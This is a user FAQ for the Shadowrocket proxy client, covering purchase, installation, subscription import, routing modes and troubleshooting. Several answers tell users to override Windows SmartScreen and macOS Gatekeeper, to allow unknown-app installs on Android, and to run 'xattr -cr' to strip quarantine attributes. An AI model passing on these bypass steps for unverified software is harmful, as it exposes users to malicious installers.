Shadowrocket FAQ

The iPhone and iPad version costs $2.99 as a one-time App Store purchase; prices may appear in local currency depending on the storefront. The Mac (Apple silicon and Intel), Windows, Android, and Linux versions are free. Buying the app does not include a server subscription. Before using it, you’ll need your own subscription or server details, which you can import using the parameters provided by your service provider. This is the official website and manual; it does not provide, sell, or recommend servers or subscriptions. Buying the app does not generate a server address or renew an existing connection service.

Check the spelling, then check the country or region of the Apple ID currently used for the App Store. The app is not currently available in the mainland China storefront. Open the App Store product page linked from this site to tell whether the app is missing from search results or unavailable in your current storefront. To change your region, follow Apple’s official steps: Apple ID → Media & Purchases → View Account → Country/Region. Labels may vary slightly by system version. First review any requirements involving account balance, subscriptions, and Family Sharing. Use accurate information, and don’t switch regions repeatedly to troubleshoot network issues.

Check all three details: the app name is Shadowrocket, the developer is Shadow Launch Technology Limited, and the product page URL contains app ID 932747118. Then compare its icon with the official icon in this site’s header. Don’t rely only on search ranking, a similar name, or icon color. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. A free listing with the same name is not the iPhone or iPad product described here. Get the desktop and Android versions from this site’s all-platform download page; installers are under /dl/shadowrocket/.

The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. When switching devices or reinstalling, sign in to the App Store with the Apple ID used for the original purchase, then find Shadowrocket in your purchased apps and download it again. Restoring an existing purchase normally doesn’t require another payment. If the App Store still shows a purchase button, check the account, storefront, and purchase history before placing another order. App purchase records are separate from servers, subscriptions, and Config files. After reinstalling, check whether your configuration needs to be restored from a backup or imported again.

Yes. Shadowrocket is available for iPhone and iPad; check the App Store listing for system requirements. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. On iPad, sign in with the same purchasing account to download the app again from your App Store purchases. A shared purchase record does not automatically migrate your connection configuration. After opening the app, check your existing subscriptions, selected server, and Global Routing, then allow the system to add a VPN configuration. The number of devices that can connect at the same time depends on the terms of your existing service.

Yes. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. For desktop and Android, visit this site’s all-platform download page and choose the installer for your device: Mac downloads are available for Apple silicon and Intel, Windows uses the 64-bit installer, Android uses the arm64 package, and Linux packages vary by distribution. You may see a system security prompt during installation. Check SmartScreen on Windows, Privacy & Security on Mac, or Allow installation of unknown apps on Android. Confirm the file came from this site’s /dl/shadowrocket/ directory, then follow the instructions for your platform. Don’t disable system-wide protections.

On your Mac, open the Apple menu in the top-left corner and choose About This Mac. If it lists a chip with an Apple-series name, choose the Apple silicon .dmg. If it lists a processor and says Intel, choose the Intel .dmg. Don’t guess based on the Mac’s purchase date, appearance, or what a browser detects. After downloading, move the app to Applications and open it. If macOS can’t verify the developer, confirm the installer came from this site, then go to System Settings → Privacy & Security and choose Open Anyway. If you see an architecture incompatibility message, return to the download page and choose the package that matches your chip instead of reinstalling the same file.

Proceed only after confirming the installer came from this site’s /dl/shadowrocket/ directory and downloaded completely. If SmartScreen appears on Windows, select More info, then Run anyway. If your organization’s device policy blocks the app, contact your device administrator. If Mac says it can’t verify the developer, try opening the app once, then go to System Settings → Privacy & Security and choose Open Anyway. If Mac says the app is damaged, first confirm it’s in Applications, then run xattr -cr /Applications/Shadowrocket.app and reopen it. This command removes extended attributes from the app; don’t use it on files from unknown sources.

Make sure you downloaded this site’s Android arm64 installer. From the system installation prompt, open Settings and allow the browser or file manager currently opening the file to install unknown apps. This permission applies to the app that starts the installation; granting it to a different browser usually won’t help. You can revoke it after installation if you prefer. Settings names and paths vary by manufacturer. If your device is restricted by a work profile or management policy, don’t bypass those requirements. The first time you connect, you’ll also need to approve the system VPN request. Installation permission and VPN permission are separate; granting one doesn’t grant the other.

For Debian, Ubuntu, and compatible distributions, choose deb. For Fedora and compatible distributions, choose rpm. Choose AppImage if you need a standalone executable, and check your system architecture first. Install deb and rpm packages with your system package manager. For AppImage, allow execution in the file’s properties or enter chmod +x in a terminal, followed by the path to the downloaded file. Execute permission is not network permission; if the app can’t connect after installation, also check for a system network authorization prompt. If you encounter missing dependencies or runtime errors, keep the terminal output and troubleshoot the specific error. Don’t install different package formats over one another in succession.

First check that your existing subscription link is complete, especially its trailing parameters and capitalization, and that copying it didn’t add spaces or line breaks. Then check whether your current network can reach the subscription URL from your service provider. Being able to open the provider’s homepage doesn’t guarantee that its subscription endpoint is available. If the response is a login page, an error, or empty, the app can’t parse it as a server list. Ask your existing provider to confirm the subscription status and supported format. Don’t enter an account-management page URL in Subscribe, and never post a full link containing access credentials publicly. After making a change, retry just the import so you can identify the cause instead of changing the network and Config at the same time.

In Home, open Add Server. Choose the protocol specified in your existing server details, then enter the address, port, and authentication parameters. If you have a QR code for the server, you can use Scan QR Code. Protocols such as Shadowsocks, VMess, VLESS, Trojan, Hysteria2, and WireGuard require different fields; entering only an address and password may not be enough. For TLS, SNI, or other transport parameters, copy the values exactly from your server details rather than guessing. After saving, return to Home, select the server, and run Connectivity Test. Saving a server entry only confirms that the form was submitted; it doesn’t verify the remote connection.

In Home, find the relevant Subscribe entry and use its update action. When it finishes, check the update status or any error message, then review the server list. Subscription contents come from your existing provider. An update may add, remove, or rename entries, or remove the server you had selected, so check your selection again afterward. Don’t repeatedly trigger updates while waiting for a response; the server may enforce rate limits. If you want to keep manual changes, note the parameters you need and distinguish manually added servers from subscription-generated entries. Refreshing a subscription may overwrite changes to its generated entries.

A server subscription mainly provides connection entries; Config files contain rules and related settings. They’re different types of content. Importing a Subscribe link and seeing a server list doesn’t guarantee that you also have a usable rules configuration. Check whether the information from your existing provider is a server subscription or a Config file, then use the corresponding import option. Don’t paste the same link into different fields just to make rules appear. Before using Config in Global Routing, confirm the intended configuration is selected and check its final policy. If you haven’t verified the rules yet, test whether the selected server connects to a specific target, then troubleshoot the rules separately.

Don’t share raw subscription links, QR codes, or configurations containing authentication parameters. A subscription URL’s path and parameters may grant access, and a QR code may contain the same information. When documenting a problem, include the protocol, steps to reproduce, error message, and network environment. Redact server credentials and the complete subscription URL. Before sharing a screenshot, check every part of it—not just the password field. If a link has been exposed, reset its access credentials through your existing provider’s account portal, then update the saved address in Shadowrocket. Deleting a public post doesn’t guarantee the old link is invalid; after resetting it, confirm the server has disabled the old address.

First, confirm that a valid server is selected in Home. When connecting for the first time, check whether the system asks to add a VPN configuration. If you previously denied permission, try connecting again and approve the system prompt. Then check for another active VPN session, device-management restrictions, or an unanswered permission dialog. End any conflicting session if needed. If the connection drops immediately, check the error message or logs to distinguish a permission failure, invalid configuration format, or unreachable server. Don’t start by deleting the app; back up your existing configuration and address the specific error first. Once connections start reliably, enable On Demand one condition at a time so automatic triggers don’t interfere with manual testing.

Disconnect first and confirm that your Wi-Fi or cellular network can reach ordinary websites. If you’re on public Wi-Fi, complete its sign-in process. Then connect to an existing server you know is working and check Connectivity Test and the specific errors in the logs. A VPN Connected status means the local tunnel is established; it doesn’t confirm that the remote server, DNS, or all rules are working. Next, test the same target with Proxy and Config. If Proxy works but Config doesn’t, check the matching rule, final policy, and DNS. If neither works, check the server parameters and server status first. Change one thing at a time and record the result; don’t reset all Settings at once.

Config applies rules from the currently selected Config file and is suited to everyday use once you’ve verified the rules. Proxy routes requests handled by the app through the proxy policy and can help check whether the selected server works. Direct uses a direct-connection policy; it doesn’t delete your configuration or turn off the system VPN. These modes control how traffic is handled; they don’t fix incorrect server parameters. When troubleshooting, keep the target and server the same while switching modes. In Config, check the rule order and FINAL fallback policy to make sure a broad rule earlier in the list doesn’t match first.

The official manual keeps interface labels in English so you can match them directly: Home shows servers and connection status; Add Server adds a server manually; Config lets you select and manage configurations; Settings contains app settings; Data shows traffic usage. In Global Routing, Config, Proxy, and Direct are the three routing modes. System and app language settings may affect what you see, but you don’t need to change the language to follow the steps. If a button is in a different place, look for its English label and purpose rather than relying on screenshot coordinates. Don’t change every unfamiliar option in Settings at once.

Compare the same real-world usage period in your system’s battery and mobile data statistics, then check traffic changes in Data. Don’t draw conclusions from a short period of background usage alone. Large transfers, frequent reconnects, repeated tests, logging, and On Demand triggers can all increase activity. Stop repeated speed tests first, check server stability, and see whether On Demand is triggering repeatedly when the network changes. The system may attribute some tunneled traffic to the VPN app, so the total may not represent traffic generated by the app itself. For a useful comparison, keep the network, target app, and test duration similar. Reduce diagnostic logging if needed, and avoid disabling several features at once, which makes the cause harder to identify.

Connectivity Test reflects the response at a particular time, for a specific target and test method. It doesn’t directly measure bandwidth across all websites, sustained transfers, or performance at peak times. Actual browsing also depends on DNS, server load, the destination site, packet loss, and your local network. Keep the network and target fixed, then test both initial page loads and sustained transfers using your existing servers. Check whether only certain domains are affected. If performance is slow only in Config, also check the policy matched for that domain. Don’t switch servers repeatedly based only on the lowest latency, or assume one timeout means a protocol isn’t supported. Consider the error logs and repeated test results together.